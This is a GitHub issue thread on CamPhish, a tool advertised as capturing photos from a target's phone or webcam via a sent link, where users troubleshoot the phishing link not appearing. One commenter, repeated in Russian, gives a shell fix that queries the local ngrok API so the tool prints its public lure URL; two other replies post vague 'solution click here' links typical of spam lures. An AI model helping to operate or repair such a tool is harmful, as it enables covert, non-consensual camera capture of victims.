techchipnet / CamPhish

Grab cam shots from target's phone front camera or PC webcam just sending a link.
GNU General Public License v3.0
2.97k stars 823 forks source link

link not showing #76

Open Tajbir007 opened 2 years ago

Tajbir007 commented 2 years ago

sir the direct link is not showing

maartand commented 2 years ago

sir the direct link is not showing

Mine also, link not generating If anyone can ,then please help

Akash-cel commented 2 years ago

Open hotspot

On Sun, Aug 22, 2021, 12:54 maartand @.***> wrote:

sir the direct link is not showing

Mine also, link not generating If anyone can ,then please help

— You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub https://github.com/techchipnet/CamPhish/issues/76#issuecomment-903226178, or unsubscribe https://github.com/notifications/unsubscribe-auth/ATQNBIUGF5HNDB5ZFYF3VZLT6CQ2NANCNFSM5CR7XLBA .

Tajbir007 commented 2 years ago

Open hotspot On Sun, Aug 22, 2021, 12:54 maartand @.***> wrote: sir the direct link is not showing Mine also, link not generating If anyone can ,then please help — You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub <#76 (comment)>, or unsubscribe https://github.com/notifications/unsubscribe-auth/ATQNBIUGF5HNDB5ZFYF3VZLT6CQ2NANCNFSM5CR7XLBA .

but i'm in pc

harismuntazir commented 2 years ago

Same here, everything seems to work properly but the direct link does not show up, its empty.

ghost commented 2 years ago

Hello, Hope you doing well I find a solution for you : Solution Click here.

Let me if it work for you too.

ghost commented 2 years ago

sir the direct link is not showing

Hello, Hope you doing well I find a solution for you : Solution Click here.

harismuntazir commented 2 years ago

i found the reason for why the link is not showing up. i checked the ngrok dashboard and saw the link was generated but its not showing up in the console on my computer. so i edited the camphish.sh file and modified LINE: 209 (line number can be different on your file) replace the $link variable with

$(curl -s -N http://127.0.0.1:4040/api/tunnels | python3 -c "import sys, json; print(json.load(sys.stdin)['tunnels'][0]['public_url'])" )

for some reason the grep is not working there so i used python to filter (parse) json which conatins the direct link.

Just make sure to edit line 209

printf "\e[1;92m[\e[0m*\e[1;92m] Direct link:\e[0m\e[1;77m %s\e[0m\n" $link

and in replace $link variable with $(curl -s -N http://127.0.0.1:4040/api/tunnels | python3 -c "import sys, json; print(json.load(sys.stdin)['tunnels'][0]['public_url'])" ) then save the file and restart camphish.sh

gamebred22 commented 2 years ago

Я нашел причину, по которой ссылка не отображается. Я проверил панель управления ngrok и увидел, что ссылка была сгенерирована, но не отображается в консоли на моем компьютере. поэтому я отредактировал файл camphish.sh и изменил LINE: 209 (номер строки может быть другим в вашем файле) заменил $linkпеременную на

$(curl -s -N http://127.0.0.1:4040/api/tunnels | python3 -c "import sys, json; print(json.load(sys.stdin)['tunnels'][0]['public_url'])" )

по какой-то причине grep там не работает, поэтому я использовал python для фильтрации (синтаксического анализа) json, который содержит прямую ссылку.

Только не забудьте отредактировать строку 209

printf "\e[1;92m[\e[0m*\e[1;92m] Direct link:\e[0m\e[1;77m %s\e[0m\n" $link

и замените $link переменную на, $(curl -s -N http://127.0.0.1:4040/api/tunnels | python3 -c "import sys, json; print(json.load(sys.stdin)['tunnels'][0]['public_url'])" ) затем сохраните файл и перезапустите camphish.sh

не работает